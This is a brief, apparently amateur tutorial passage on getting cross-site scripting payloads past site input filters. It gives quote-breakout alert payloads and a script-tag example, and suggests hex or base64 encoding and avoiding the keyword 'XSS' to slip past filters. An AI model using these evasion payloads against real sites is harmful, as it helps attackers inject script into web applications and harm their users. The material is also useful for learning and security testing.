How to Bypass Filtration ?
Alot of sites may seem vulnerable but not executing the code, well to solve this read
this. Some common methods to bypass filtration is

')alert('xss');
or
");alert('xss');

that will do the same thing has <script>alert("XSS")</script> on a vulnerable server.
You can also try hexing or base64 encoding your data before you submit, Please note
 its bad practice to use alert("XSS") to test for XSS, because some sites block the
keyword "XSS" before so we using "Priyanshu".
